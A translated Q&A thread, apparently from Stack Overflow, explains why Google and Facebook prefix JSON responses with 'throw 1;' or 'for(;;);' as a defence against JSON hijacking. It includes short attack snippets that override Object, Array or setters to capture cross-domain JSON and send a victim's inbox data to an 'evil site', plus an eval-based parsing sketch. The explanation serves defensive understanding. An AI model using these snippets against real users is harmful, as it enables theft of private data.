可能的重复:
为什么谷歌在while(1)前面;他们的JSON响应?
谷歌返回这样的json:
throw 1; <dont be evil> { foo: bar}
和facebook ajax有这样的json:
for(;;); {"error":0,"errorSummary": ""}
为什么他们写的代码会停止
执行和使无效的json?
如果它无效,他们如何解析它
如果你试着eval它会崩溃
它吗?
他们只是把它从
字符串(看起来很贵)?
有什么安全优势吗
这个吗?
出于安全考虑:
如果scraper在另一个域上,他们将不得不使用脚本标记来获取数据,因为XHR不能跨域工作。即使没有for(;;);攻击者如何获取数据?它没有被赋值给变量,所以它不会因为没有引用而被垃圾收集吗?
基本上,为了让数据跨域,他们必须这么做
<script src="http://target.com/json.js"></script>
但即使没有预先准备的崩溃脚本,攻击者也不能使用任何Json数据,除非它被分配给一个你可以全局访问的变量(在这些情况下不是这样)。崩溃代码实际上什么也不做,因为即使没有它,他们也必须使用服务器端脚本来使用站点上的数据。
想想看,在检查你的GMail账户后,你去访问我的邪恶页面:
<script type="text/javascript">
Object = function() {
ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>
现在要发生的是,来自谷歌的Javascript代码——请求者认为它是良性的,但立即超出了范围——实际上将被发布到我的邪恶站点。假设在脚本标记中请求的URL发送(因为您的浏览器将显示正确的cookie,谷歌将正确地认为您已登录到您的收件箱):
({
messages: [
{
id: 1,
subject: 'Super confidential information',
message: 'Please keep this to yourself: the password is 42'
},{
id: 2,
subject: 'Who stole your password?',
message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
}
]
})
现在,我将把这个对象的序列化版本发布到我的邪恶服务器上。谢谢你!
防止这种情况发生的方法是将JSON响应拼凑起来,并在来自同一域的您可以操作该数据时将其分解。如果你喜欢这个答案,请看看bobince发布的答案。
他们如何解析它,如果它是无效的,会崩溃,如果你试图eval
它吗?
这是一个功能,它会崩溃,如果你试图评估它。eval允许任意JavaScript代码,可以用于跨站点脚本攻击。
他们只是从字符串中删除它(似乎很昂贵)?
我想是的。可能是这样的:
function parseJson(json) {
json = json.replace("throw 1; <dont be evil>", "");
if (/* regex to validate the JSON */) {
return eval(json);
} else {
throw "XSS";
}
}
“不要作恶”的诀窍阻止开发人员直接使用eval,而不是使用更安全的替代方法。
即使没有for(;;);攻击者如何获取数据?
攻击是基于改变内置类型的行为,特别是对象和数组,通过改变它们的构造函数或原型。然后,当目标JSON使用{…}或[…]构造,它们将是这些对象的攻击者自己的版本,具有潜在的意想不到的行为。
例如,你可以将一个setter-property黑进Object,这将泄露写在对象字面量中的值:
Object.prototype.__defineSetter__('x', function(x) {
alert('Ha! I steal '+x);
});
然后,当<script>指向使用该属性名的JSON时:
{"x": "hello"}
值“hello”将被泄漏。
数组和对象字面量导致调用setter的方式是有争议的。Firefox在3.5版中删除了这种行为,以应对针对知名网站的公开攻击。然而,在编写Safari(4)和Chrome(5)时,仍然容易受到这种攻击。
现在所有浏览器都不允许的另一种攻击是重定义构造函数:
Array= function() {
alert('I steal '+this);
};
[1, 2, 3]
目前,IE8的属性实现(基于ECMAScript第五版标准和Object. defineproperty)目前不能在Object上工作。prototype或Array.prototype。
但是,在保护过去的浏览器的同时,对JavaScript的扩展可能会在未来导致更多类似类型的潜在泄露,在这种情况下,chaff也应该防止这些泄露。